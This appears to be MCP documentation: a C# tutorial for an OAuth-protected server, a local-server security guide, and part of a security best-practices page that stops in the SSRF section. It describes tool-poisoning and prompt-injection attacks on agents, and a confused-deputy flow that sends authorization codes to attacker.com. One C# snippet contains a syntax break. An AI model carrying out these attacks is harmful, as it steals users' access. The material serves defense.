You can see the complete C# project in the [sample repository](#).

To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.

In the root of your server folder, create two files, `Program.cs` and `ProtectedMcpServer.csproj`, and a `Tools` folder. Fill `Program.cs` with:

```
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.IdentityModel.Tokens;
using ModelContextProtocol.AspNetCore.Authentication;
using ProtectedMcpServer.Tools;
using System.Security.Claims;

var builder = WebApplication.CreateBuilder(args);

var serverUrl = "http://localhost:3000/";
var authorizationServerUrl = "http://localhost:8080/realms/master/";

builder.Services.AddAuthentication(options =>
{
    options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
    options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
})
.AddJwtBearer(options =>
{
    options.Authority = authorizationServerUrl;
    var normalizedServerAudience = serverUrl.TrimEnd('/');
    options.TokenValidationParameters = new TokenValidationParameters
    {
        ValidIssuer = authorizationServerUrl,
        ValidAudiences = new[] { normalizedServerAudience, serverUrl },
        AudienceValidator = (audiences, securityToken, validationParameters) =>
        {
            if (audiences == null) return false;
            foreach (var aud in audiences)
            {
                if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
                {
                    return true;
                }
            }
            return false;
        }
    };

    options.RequireHttpsMetadata = false; // Set to true in production

    options.Events = new JwtBearerEvents
    {
```

```

        OnTokenValidated = context =>
        {
            var name = context.Principal?.Identity?.Name ?? "unknown";
            var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
            Console.WriteLine($"Token validated for: {name} ({email})");
            return Task.CompletedTask;
        },
        OnAuthenticationFailed = context =>
        {
            Console.WriteLine($"Authentication failed: {context.Exception.Message}");
            return Task.CompletedTask;
        },
    };
});

.AddMcp(options =>
{
    options.ResourceMetadata = new()
    {
        Resource = serverUrl,
        ResourceDocumentation = "https://docs.example.com/api/math",
        AuthorizationServers = { authorizationServerUrl },
        ScopesSupported = ["mcp:tools"]
    };
});

builder.Services.AddAuthorization();

builder.Services.AddHttpContextAccessor();
builder.Services.AddMcpServer()
    .WithTools<MathTools>()
    .WithHttpTransport();

var app = builder.Build();

app.UseAuthentication();
app.UseAuthorization();

app.MapMcp().RequireAuthorization();

Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
Console.WriteLine("Exposed Math tools: Add, Multiply");
Console.WriteLine("Press Ctrl+C to stop the server");

app.Run(serverUrl);

```

Fill `ProtectedMcpServer.csproj` with:

```

<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFramework>net9.0</TargetFramework>
    <Nullable>enable</Nullable>
    <ImplicitUsings>enable</ImplicitUsings>
    <!-- Identifier for the local secret store, not a secret itself. -->
    <UserSecretsId>local-authorization-mcp-server</UserSecretsId>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="Microsoft.AspNetCore.Authentication.JwtBearer" Version="9.0.18" />
    <PackageReference Include="ModelContextProtocol" Version="2.0.0" />
    <PackageReference Include="ModelContextProtocol.AspNetCore" Version="2.0.0" />
  </ItemGroup>

</Project>

```

In the `Tools` folder, create `MathTools.cs` and fill it with:

```

using System.ComponentModel;
using ModelContextProtocol.Server;

namespace ProtectedMcpServer.Tools;

[McpServerToolType]
public sealed class MathTools
{
    [McpServerTool, Description("Add two numbers together.")]
    public Task<double> Add(
        [Description("First operand")] double a,
        [Description("Second operand")] double b)
    {
        return Task.FromResult(a + b);
    }

    [McpServerTool, Description("Multiply two numbers together.")]
    public Task<double> Multiply(
        [Description("First operand")] double a,
        [Description("Second operand")] double b)
    {
        return Task.FromResult(a * b);
    }
}

```

Then from the server's root, run:

```
dotnet run
```

For more details, see the [C# SDK documentation](#).

Testing the MCP Server

For testing purposes, we will be using [Visual Studio Code](#), but any client that supports MCP and the new authorization specification will fit.

Press `Cmd + Shift + P` and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:

```
"my-mcp-server-18676652": {  
  "url": "http://localhost:3000",  
  "type": "http"  
}
```

On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.

 Keycloak consent form for VS Code.

After consenting, you will see the tools listed right above the server entry in `mcp.json`.

 Tools listed in VS Code.

You will be able to invoke individual tools with the help of the `#` sign in the chat view.

 Invoking MCP tools in VS Code.

Common Pitfalls and How to Avoid Them

For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](#). A few key issues are called out below.

- **Do not implement token validation or authorization logic by yourself.** Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
- **Use short-lived access tokens.** Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
- **Always validate tokens.** Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.

- **Store tokens in secure, encrypted storage.** In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
- **Enforce HTTPS in production.** Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
- **Least-privilege scopes.** Don't use catch-all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
- **Don't log credentials.** Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
- **Separate app vs. resource server credentials.** Don't reuse your MCP server's client secret for end-user flows. Store all secrets in a proper secret manager, not in source control.
- **Return proper challenges.** On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
- **DCR (Dynamic Client Registration) controls.** If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
- **Multi-tenant/realm mix-ups.** Pin to a single issuer/tenant unless explicitly multi-tenant. Reject tokens from other realms even if signed by the same authorization server.
- **Audience/resource indicator misuse.** Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
- **Error detail leakage.** Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
- **Session identifier hardening.** Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server-side.

Related Standards and Documentation

MCP authorization builds on these well-established standards:

- [OAuth 2.1](#): The core authorization framework
- [RFC 8414](#): Authorization Server Metadata discovery
- [RFC 7591](#): Dynamic Client Registration
- [RFC 9728](#): Protected Resource Metadata
- [RFC 8707](#): Resource Indicators

For additional details, refer to:

- [Authorization Specification](#)
- [Security Best Practices](#)
- [Available MCP SDKs](#)

Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.

Local Server Security

mcp/docs/2026-07-28/tutorials/security/local-server-security.mdx

Most MCP security documentation covers the protocol threat model: OAuth flows, token handling, session hijacking, and confused deputy attacks. For those, see [Authorization](#) and [Security Best Practices](#).

This guide covers a different threat model: **your machine**. When you run an MCP server locally, you download code from the internet and run it as a child process of your user account. That process inherits your environment variables, can read anything your account can read — SSH keys, cloud credentials, browser profiles, your home directory — and can open outbound network connections to anywhere. None of that is governed by the protocol. It is governed by how you run the process.

참고

Scope: this guide is about servers running on a machine you (or your organization's users) control — a laptop or workstation, typically launched over stdio. Deploying and hardening remote or hosted servers is a different topic with different controls.

팁

If you do one thing after reading this: open your client's MCP configuration, remove the servers you no longer use, and make sure you know where each remaining one comes from and that its version is pinned. Everything else in this guide builds on knowing what you are actually running.

What a Local Server Can Touch

A local MCP server is not a plugin running inside a sandbox the protocol provides. It is an ordinary operating system process, launched by your host application, with all the access that implies:

flowchart LR

```
Host["Host application<br/>(MCP client)"] -->|launches| Server["Local MCP server<br/>(ordinary child process)"]
```

```
Server --> Env["Environment variables<br/>(tokens, API keys)"]
```

```
Server --> FS["Files your account<br/>can read and write"]
```

```
Server --> Net["Unrestricted outbound<br/>network access"]
```

```
Server --> Deps["Its full dependency tree,<br/>fetched at install time"]
```

Clients that offer one-click installation are required to show you the exact command before it runs ([SEP-1024](#)), but a consent dialog only helps if you know what to look for. That is what the rest of this guide is about.

The stdio Trust Model

Most local servers use the stdio transport: your client spawns the server as a subprocess, and the two communicate over stdin and stdout. That design carries an important assumption: **the client and a stdio server share one trust domain**. They run side by side with the same privileges, and neither the protocol nor the SDKs defend one against the other — a server already has code execution on your machine by virtue of being launched, so there is no boundary between the two processes for a transport to enforce. This is by design: the SDKs assume full trust between stdio peers, and any isolation or security fencing around a local server is the responsibility of the host application and of whoever operates the machine.

Two practical consequences:

- Your real security decisions happen **before launch**: what you install (provenance) and how you run it (isolation). The stdio transport is not a sandbox.
- If you run a server at reduced privilege, that boundary is yours to enforce — a container, sandbox, or VM, as described below.

The trust domain is also cumulative. Every server you configure shares the same model context, so a malicious server can influence how the agent uses the tools of every other server. Each install extends the surface all the others are exposed to.

Threats This Guide Addresses

1. **A malicious server.** Typosquatted package names, lookalike repositories, or an abandoned project taken over by a new publisher. The "server" works as advertised while also exfiltrating your environment or files.
2. **An overcollecting server.** A legitimate server that collects more than its job requires: environment variables, files, or network traffic it has no reason to touch. Prompt injection in untrusted content can steer an honest server into the same overreach, using whatever access it was given.
3. **A compromised dependency.** The server author is honest, but one of the packages in its dependency tree was compromised in a supply chain attack.
4. **A poisoned tool catalog.** Tool names and descriptions are instructions your model reads. A server can hide directives in them that steer the agent — including how it uses *other* servers' tools — without the poisoned tool ever being invoked (often called tool poisoning, or tool shadowing when it targets another server's tools). Definitions are not fixed at install time either: a server can quietly change them after you approved it (a rug pull), so a one-time consent dialog and package pinning do not cover this surface.
5. **A vulnerable server or bridge.** A legitimate, unmodified component can still be the way in. Local bridges that connect stdio clients to remote servers have had critical flaws triggered by nothing more than connecting to a malicious endpoint, and local developer tools listening on a port have been exploited directly from a web page.

Out of scope: attackers with physical access to your machine, targeted nation-state attacks, and protocol-level attacks (see the linked documents above).

Before the mitigations, one fact that shapes them all: **no check proves what a server will do**. The protocol cannot guarantee that a server is what it claims or does only what it promises. Provenance signals — a readable repository, signatures, an SBOM, a curated listing — tell you who you are trusting, not that the trust is warranted, and short of auditing and building every release yourself, you cannot verify behavior in advance.

The mitigations below therefore follow one principle: **treat a third-party local server as untrusted code with exactly the privileges you hand it — and hand it as few as possible**. Vetting reduces the odds of a bad trust decision; containment decides what a bad one costs. Each section gives a baseline, an optional "going further" step, and a default if you are unsure.

Ask Whether It Needs to Run Locally

The cheapest way to shrink a blast radius is not to create one. Before you install a server as a local process, ask what it actually needs from your machine. Reading your working tree, driving a local tool, or reaching hardware are reasons to run locally. Wrapping a remote API is not: a server that only talks to a service on the internet gains nothing from running on your laptop, while you take on everything else in this guide for no benefit.

- **Prefer the remote version where one exists.** A server offered over [Streamable HTTP](#) runs no code on your machine, uses the protocol's authorization flow instead of a token in a local config file, and is patched in one place. The protocol threat model (linked above) applies to it instead of this one.
- **Treat an unnecessary local install as a signal.** When a third-party server needs no local access yet ships only as a stdio process, ask why. It may just be the author's path of least resistance, but it is also exactly how a malicious or overcollecting server gets onto your machine.
- **Keep the genuine exceptions.** Some capabilities only exist as a local process. For those, the rest of this guide applies in full.

If unsure: when a server needs none of your files, local tools, or local network, use its remote version and skip the local install entirely.

Check Provenance Before You Install

A listing on a registry is not an endorsement. Docker Hub, ghcr.io, npm, PyPI, and NuGet will host almost anything, and a package being popular or well-named guarantees neither that it is safe nor that it is current. Even curated MCP catalogs describe their own vetting as best-effort: curation reduces risk, it does not take on accountability for what you run.

Before installing a server:

- **Identify the publisher.** Can you tie the package to a source repository and a real maintainer or organization? Does the repository show recent, plausible activity?
- **Verify the exact package name.** Typosquatting is the cheapest attack available. Confirm you are installing the package the documentation actually refers to, not a lookalike.
- **Pin the version.** Install a specific version rather than `latest`, so a compromised future release does not walk onto your machine through an auto-update. Pair the pin with a deliberate update habit: when a security advisory lands for something you pinned, the pin is what keeps you vulnerable.
- **Know what the pin covers.** Pinning a package version with a launcher such as `npx` or `uvx` fixes only the top-level package; its transitive dependencies are typically resolved fresh at install time, which is exactly where a compromised dependency arrives. Pinning a container image by digest (`image@sha256:...`) freezes the entire dependency tree.
- **Prefer artifacts with provenance metadata.** Signed artifacts, build attestations, and SBOMs (software bills of materials) let you verify who built the artifact and what is inside it — including which MCP SDK and version it uses, which matters when a vulnerability is announced in one.

Going further: verify signatures and attestations rather than just noting their presence (for example with Sigstore tooling or your registry's attestation verification), and generate your own SBOM from the artifact (for example with Syft or Trivy) instead of trusting the published one. Some registries and runtimes can verify signatures at launch time rather than only at install, turning provenance from a one-time check into a standing one.

If unsure: only install servers whose source code you can read and whose publisher you can identify, and pin the exact version.

Treat Tool Definitions as Untrusted Input

Installing a server is not the last trust decision. At runtime, the server sends your client its tool names and descriptions, and the model reads them as instructions — an injection surface that install-time review does not cover.

- **Read the tool list before you rely on a server.** Most clients can show each tool's description, and the [MCP Inspector](#) lists every tool a server exposes without a model in the loop. If a description contains instructions that have nothing to do with the tool's job, remove the server.
- **Prefer clients that pin tool definitions.** Some clients record tool definitions when you first approve a server and ask again when they change. The protocol does not require this, so it is a property worth choosing a client for.
- **Keep the roster small.** Because all configured servers share the model's context, every server you add extends the surface the others are exposed to.

If unsure: install a few servers, skim their tool descriptions once, and favor a client that re-prompts when a tool definition changes.

Run Servers in an Isolated Environment

Process isolation is the single highest-leverage mitigation in this guide. It turns "this server can read my SSH keys" into "this server can read an empty directory", and it protects you even when provenance checks fail — against all the threats above at once.

- **Baseline:** run third-party servers inside a container (for example with Docker or Podman) with no volume mounts beyond what the server needs. Stdio transport works unchanged: the client talks to the container's stdin and stdout exactly as it would to a bare process.
- **Alternatives:** a lightweight virtual machine dedicated to development work, or your operating system's process-sandboxing facilities. Some MCP-focused runtimes and client integrations will wrap servers in containers for you; the pattern matters more than the tool.

A container is not an impenetrable boundary, but it removes the default access to your environment, your files, and your keychain — which is what the common attacks rely on.

Going further: harden the container itself — a seccomp profile limits the system calls it can make, and a Linux security module such as AppArmor or SELinux limits what it can reach, often by doing no more than enabling your distribution's defaults. Beyond that, run servers under a microVM or in a separate user account, and combine isolation with the network controls below so the sandbox also cannot exfiltrate what little it can see.

If unsure: run every third-party server in a container with nothing mounted except the directory it is meant to work on.

Isolate Credentials

A locally launched server may inherit the environment of whatever launched it. If your shell profile exports cloud credentials and API tokens globally, every server you run can potentially read all of them.

- **Pass secrets per server, not globally.** Use the per-server environment configuration in your client's config file rather than exporting secrets in your shell profile, so each server sees only its own credentials.
- **Scope tokens narrowly.** Issue each server its own token with the smallest scope that works (for example a fine-grained access token limited to one repository, not your account-wide token), so a leak is contained and revocable.
- **Keep long-lived secrets out of plaintext config.** Client configuration files are a known, predictable location on disk. Prefer your operating system's secret store (such as macOS Keychain, Windows Credential Manager, or the freedesktop Secret Service on Linux) where your client supports referencing it.
- **Remember files count too.** `~/.ssh`, `~/.aws`, and similar directories are credentials on disk. Process isolation (above) is what actually keeps them out of a server's reach.

Going further: use short-lived credentials issued at launch time by a secrets manager or broker instead of static tokens, and rotate anything a server held if you decide to remove that server.

If unsure: give each server its own narrowly scoped token via its per-server config, and never reuse a personal broad-scope token across servers.

Limit Filesystem Access

Many useful servers legitimately need file access. The question is how much.

- **Grant the narrowest root that works.** Configure filesystem-oriented servers with a specific project directory, passed explicitly through the server's configuration or tool parameters — never your home directory.
- **Prefer read-only.** If the server's job is to read code or documents, mount or grant the directory read-only.
- **Be suspicious of breadth.** A server that asks for a broad root directory to do a narrow job is overreaching. Grant a narrower directory, or pick a different server.

주의

Configuration-level allowlists are **cooperative boundaries**: a well-behaved server respects them, but nothing in the protocol stops a malicious or compromised one from reading whatever the process can reach. Treat them as guardrails for honest servers. Enforcement comes from the isolation layer above — a sandbox or container where the allowed directory is the only filesystem that exists.

Going further: combine allowlists with isolation, so the only filesystem the server can even see is the mount you chose.

If unsure: grant access to a single project directory, read-only.

Control Network Egress

Exfiltration needs an exit. A local process normally has unrestricted outbound access, which turns any overcollection or compromise into data loss.

- **Know where a server should be talking.** A server that wraps one API has a short, predictable set of destinations. Traffic anywhere else is a signal worth investigating.
- **Deny network where none is needed.** Servers that operate purely on local files or tools need no network at all — with containers this is one flag (`--network=none`).
- **Filter what remains.** For servers that do need egress, an outbound-filtering firewall or an egress proxy with a domain allowlist restricts them to their expected destinations and logs the attempts that fall outside it.

참고

Egress is not the only network concern. Local MCP plumbing that listens on a port — bridges to remote servers, development tools, locally hosted HTTP servers — is reachable by other local processes and, through your browser, by websites. Binding to 127.0.0.1 is not an authentication boundary: such components need real authentication and origin validation, and they need prompt updates when advisories land.

Going further: give each server its own egress allowlist via a proxy, and alert on destinations outside it — unexpected egress is often the first observable sign that something on this page has gone wrong.

If unsure: run servers with no network access unless they demonstrably need it, and know which destinations the rest are expected to reach.

Managing Local Servers Across an Organization

If you are an IT, security, or platform administrator, the sections above are your building blocks, but your problem is different: many machines, many users, servers installed without your involvement. Two facts shape everything:

1. **Local MCP servers are ordinary software installed by your users.** The protocol cannot inventory, patch, or contain processes on machines it does not manage. This is endpoint and software governance — your existing responsibility, with a new package type.
2. **You will not be asked first.** Assume users install servers the same way they install editor extensions.

A workable starting posture:

- **Define approved sources.** Publish a short allowlist of vetted servers (with pinned versions) and the criteria a new server must meet to join it: identifiable publisher, readable source, provenance metadata, an SBOM. Make the approved path easier than the unapproved one.
- **Set a default runtime posture.** Decide and document how servers run on managed machines — for example, "third-party servers run in containers with no home-directory mounts" — rather than leaving isolation to each user's initiative.
- **Deploy centrally where local access is not required.** The question from the top of this guide applies fleet-wide: a server that only wraps a SaaS API does not need to run on every laptop. A centrally managed remote deployment gives you one instance to patch, audit, and control instead of hundreds.
- **Inventory continuously.** Client configuration files live in known locations on each platform. Your endpoint management tooling can collect them, giving you a live answer to "who is running what, at which version, from which source."
- **Keep an audit trail.** Where your tooling supports it, log MCP activity on managed machines — which server, which tool, when — so an incident review can reconstruct what a compromised or overreaching server actually did instead of guessing from its permissions.

- **Plan for the fleet incident.** When a widely used local server (or the SDK inside it) turns out to be vulnerable, you need to: find every instance (the inventory above), block its egress at the proxy or firewall while you respond, rotate every credential those configs passed to it, and push the fixed, pinned version through your approved channel. SBOMs are what let you answer "which of our machines run something built on the affected SDK version" in minutes instead of days.
- **Mind your regulatory context.** Software supply chain regulation (for example the EU Cyber Resilience Act) increasingly expects exactly these practices — SBOMs, update processes, and vulnerability handling — so the work above often does double duty.

If unsure: start with an inventory of client configurations across your fleet plus a short allowlist of approved servers, and treat everything outside both as you would any unapproved software.

Checklist

For your own machine:

- I know every server in my client's configuration, and I removed the ones I don't use.
- Servers that need nothing from my machine run remotely, not as a local process.
- Each server came from an identifiable publisher, and its version is pinned.
- Third-party servers run isolated (container, sandbox, or VM), not as bare processes.
- Each server gets only its own narrowly scoped credentials via per-server config — nothing inherited from my shell, nothing reused.
- Filesystem access is limited to specific directories, read-only where possible.
- Servers without a network need run with egress disabled; the rest have a known list of destinations.
- I have skimmed each server's tool descriptions, and my client re-prompts when a tool definition changes.

For a fleet:

- We maintain an allowlist of approved servers with published acceptance criteria.
- We continuously inventory MCP client configurations on managed machines.
- We have a documented default isolation posture for local servers.
- We keep audit logs of MCP activity on managed machines.
- We can block a specific server's egress and rotate its credentials across the fleet.

Next Steps

[Security Best Practices](#)

The protocol threat model: confused deputy, token passthrough, and session hijacking

[Authorization](#)

How OAuth-based authorization works for remote MCP servers

SEP-1024

Client security requirements for local server installation consent

Connect to local servers

Set up local servers in your client — the workflow this guide secures

Security Best Practices

mcp/docs/2026-07-28/tutorials/security/security_best_practices.mdx

Introduction

Purpose and Scope

This document provides security considerations for the Model Context Protocol (MCP), complementing the [MCP Authorization](#) specification. This document identifies security risks, attack vectors, and best practices specific to MCP implementations.

The primary audience for this document includes developers implementing MCP authorization flows, MCP server operators, and security professionals evaluating MCP-based systems. This document should be read alongside the MCP Authorization specification and [OAuth 2.0 security best practices](#).

Attacks and Mitigations

This section gives a detailed description of attacks on MCP implementations, along with potential countermeasures.

Confused Deputy Problem

Attackers can exploit MCP proxy servers that connect to third-party APIs, creating "[confused deputy](#)" vulnerabilities. This attack allows malicious clients to obtain authorization codes without proper user consent by exploiting the combination of static client IDs, dynamic client registration, and consent cookies.

Terminology

MCP Proxy Server

An MCP server that connects MCP clients to third-party APIs, offering MCP features while delegating operations and acting as a single OAuth client to the third-party API server.

Third-Party Authorization Server

Authorization server that protects the third-party API. It may lack dynamic client registration support, requiring the MCP proxy to use a static client ID for all requests.

Third-Party API

The protected resource server that provides the actual API functionality. Access to this API requires tokens issued by the third-party authorization server.

Static Client ID

A fixed OAuth 2.0 client identifier used by the MCP proxy server when communicating with the third-party authorization server. This Client ID refers to the MCP server acting as a client

to the Third-Party API. It is the same value for all MCP server to Third-Party API interactions regardless of which MCP client initiated the request.

Vulnerable Conditions

This attack becomes possible when all of the following conditions are present:

- MCP proxy server uses a **static client ID** with a third-party authorization server
- MCP proxy server allows MCP clients to **dynamically register** (each getting their own `client_id`)
- The third-party authorization server sets a **consent cookie** after the first authorization
- MCP proxy server does not implement proper per-client consent before forwarding to third-party authorization

Architecture and Attack Flows

Normal OAuth proxy usage (preserves user consent)

```
sequenceDiagram
    participant UA as User-Agent (Browser)
    participant MC as MCP Client
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server

    Note over UA,M: Initial Auth flow completed

    Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server

    M->>UA: Redirect to third party authorization server
    UA->>TAS: Authorization request (client_id: mcp-proxy)
    TAS->>UA: Authorization consent screen
    Note over UA: Review consent screen
    UA->>TAS: Approve
    TAS->>UA: Set consent cookie for client ID: mcp-proxy
    TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
    UA->>M: 3P Authorization code
    Note over M,TAS: Exchange 3P code for 3P token
    Note over M: Generate MCP authorization code
    M->>UA: Redirect to MCP Client with MCP authorization code

    Note over M,UA: Exchange code for token, etc.
```

Malicious OAuth proxy usage (skips user consent)

```
sequenceDiagram
    participant UA as User-Agent (Browser)
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server
```

participant A as Attacker

Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)

A->>M: Dynamically register malicious client, redirect_uri: attacker.com

A->>UA: Sends malicious link

UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
rect rgba(255, 17, 0, 0.67)

TAS->>TAS: Cookie present, consent skipped
end

TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com

UA->>M: 3P Authorization code

Note over M,TAS: Exchange 3P code for 3P token

Note over M: Generate MCP authorization code

M->>UA: Redirect to attacker.com with MCP Authorization code

UA->>A: MCP Authorization code delivered to attacker.com

Note over M,A: Attacker exchanges MCP code for MCP token

A->>M: Attacker impersonates user to MCP server

Attack Description

When an MCP proxy server uses a static client ID to authenticate with a third-party authorization server, the following attack becomes possible:

1. A user authenticates normally through the MCP proxy server to access the third-party API
2. During this flow, the third-party authorization server sets a cookie on the user agent indicating consent for the static client ID
3. An attacker later sends the user a malicious link containing a crafted authorization request which contains a malicious redirect URI along with a new dynamically registered client ID
4. When the user clicks the link, their browser still has the consent cookie from the previous legitimate request
5. The third-party authorization server detects the cookie and skips the consent screen
6. The MCP authorization code is redirected to the attacker's server (specified in the malicious `redirect_uri` parameter during [dynamic client registration](#))
7. The attacker exchanges the stolen authorization code for access tokens for the MCP server without the user's explicit approval
8. The attacker now has access to the third-party API as the compromised user

Mitigation

To prevent confused deputy attacks, MCP proxy servers **MUST** implement per-client consent and proper security controls as detailed below.

Consent Flow Implementation

The following diagram shows how to properly implement per-client consent that runs **before** the third-party authorization flow:

```
sequenceDiagram
    participant Client as MCP Client
    participant Browser as User's Browser
    participant MCP as MCP Server
    participant ThirdParty as Third-Party AuthZ Server

    Note over Client,ThirdParty: 1. Client Registration (Dynamic)
    Client->>MCP: Register with redirect_uri
    MCP-->>Client: client_id

    Note over Client,ThirdParty: 2. Authorization Request
    Client->>Browser: Open MCP server authorization URL
    Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...

    alt Check MCP Server Consent
        MCP->>MCP: Check consent for this client_id
        Note over MCP: Not previously approved
    end

    MCP->>Browser: Show MCP server-owned consent page
    Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
    Browser->>MCP: POST /consent (approve)
    MCP->>MCP: Store consent decision for client_id

    Note over Client,ThirdParty: 3. Forward to Third-Party
    MCP->>Browser: Redirect to third-party /authorize
    Note over MCP: Use static client_id for third-party

    Browser->>ThirdParty: Authorization request (static client_id)
    ThirdParty->>Browser: User authenticates & consents
    ThirdParty->>Browser: Redirect with auth code

    Browser->>MCP: Callback with third-party code
    MCP->>ThirdParty: Exchange code for token (using static client_id)
    MCP->>Browser: Redirect to client's registered redirect_uri
```

Required Protections

Per-Client Consent Storage

MCP proxy servers **MUST**:

- Maintain a registry of approved `client_id` values per user
- Check this registry **before** initiating the third-party authorization flow
- Store consent decisions securely (server-side database, or server specific cookies)

Consent UI Requirements

The MCP-level consent page **MUST**:

- Clearly identify the requesting MCP client by name
- Display the specific third-party API scopes being requested
- Show the registered `redirect_uri` where tokens will be sent
- Implement CSRF protection (e.g., state parameter, CSRF tokens)
- Prevent iframing via `frame-ancestors` CSP directive or `X-Frame-Options: DENY` to prevent clickjacking

Consent Cookie Security

If using cookies to track consent decisions, they **MUST**:

- Use `__Host-` prefix for cookie names
- Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
- Be cryptographically signed or use server-side sessions
- Bind to the specific `client_id` (not just "user has consented")

Redirect URI Validation

The MCP proxy server **MUST**:

- Validate that the `redirect_uri` in authorization requests exactly matches the registered URI
- Reject requests if the `redirect_uri` has changed without re-registration
- Use exact string matching (not pattern matching or wildcards)

OAuth State Parameter Validation

The OAuth `state` parameter is critical to prevent authorization code interception and CSRF attacks. Proper state validation ensures that consent approval at the authorization endpoint is enforced at the callback endpoint.

MCP proxy servers implementing OAuth flows **MUST**:

- Generate a cryptographically secure random `state` value for each authorization request
- Store the `state` value server-side (in a secure session store or encrypted cookie) **only after** consent has been explicitly approved
- Set the `state` tracking cookie/session **immediately before** redirecting to the third-party identity provider (not before consent approval)
- Validate at the callback endpoint that the `state` query parameter exactly matches the stored value in the callback request's cookies or in the request's cookie-based session
- Reject any callback requests where the `state` parameter is missing or does not match
- Ensure `state` values are single-use (delete after validation) and have a short expiration time (e.g., 10 minutes)

The consent cookie or session containing the `state` value **MUST NOT** be set until **after** the user has approved the consent screen at the MCP server's authorization endpoint. Setting this cookie before consent approval renders the consent screen ineffective, as an attacker could bypass it by crafting a malicious authorization request.

Token Passthrough

"Token passthrough" is an anti-pattern where an MCP server accepts tokens from an MCP client without validating that the tokens were properly issued *to the MCP server* and passes them through to the downstream API.

An attacker can gain unauthorized access or otherwise compromise an MCP server if the server accepts tokens issued for other resources. This vulnerability has two critical dimensions:

1. **Audience validation failures.** When an MCP server doesn't verify that tokens were specifically intended for it (for example, via the audience claim, as mentioned in [RFC9068](#)), it may accept tokens originally issued for other services. This breaks a fundamental OAuth security boundary, allowing attackers to reuse legitimate tokens across different services than intended.
2. **Token passthrough.** If the MCP server not only accepts tokens with incorrect audiences but also forwards these unmodified tokens to downstream services, it can potentially cause the ["confused deputy" problem](#), where the downstream API may incorrectly trust the token as if it came from the MCP server or assume the token was validated by the upstream API.

Risks

Token passthrough is explicitly forbidden in the [authorization specification](#) as it introduces a number of security risks, that include:

- **Security Control Circumvention**
 - The MCP Server or downstream APIs might implement important security controls like rate limiting, request validation, or traffic monitoring, that depend on the token audience or other credential constraints. If clients can obtain and use tokens directly with the downstream APIs without the MCP server validating them properly or ensuring that the tokens are issued for the right service, they bypass these controls.
- **Accountability and Audit Trail Issues**
 - The MCP Server will be unable to identify or distinguish between MCP Clients when clients are calling with an upstream-issued access token which may be opaque to the MCP Server.
 - The downstream Resource Server's logs may show requests that appear to come from a different source with a different identity, rather than the MCP server that is actually forwarding the tokens.
 - Both factors make incident investigation, controls, and auditing more difficult.
 - If the MCP Server passes tokens without validating their claims (e.g., roles, privileges, or audience) or other metadata, a malicious actor in possession of a stolen token can use the server as a proxy for data exfiltration.
- **Trust Boundary Issues**
 - The downstream Resource Server grants trust to specific entities. This trust might include assumptions about origin or client behavior patterns. Breaking this trust boundary could lead to unexpected issues.

- If the token is accepted by multiple services without proper validation, an attacker compromising one service can use the token to access other connected services.
- **Future Compatibility Risk**
- Even if an MCP Server starts as a "pure proxy" today, it might need to add security controls later. Starting with proper token audience separation makes it easier to evolve the security model.

Mitigation

MCP servers **MUST NOT** accept any tokens that were not explicitly issued for the MCP server.

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is an attack where an attacker can induce an MCP client to make HTTP requests to unintended destinations, potentially accessing internal network resources, cloud metadata endpoints, or other protected services.

Attack Description

During OAuth metadata discovery, MCP clients fetch URLs from several sources that could be controlled by a malicious MCP server:

1. The `resource_metadata` URL from the `WWW-Authenticate` header
2. The `authorization_servers` URLs from the Protected Resource Metadata document
3. The `token_endpoint`, `authorization_endpoint`, and other URLs from Authorization Server Metadata

A malicious MCP server can populate these fields with URLs pointing to internal resources, enabling the following attack patterns:

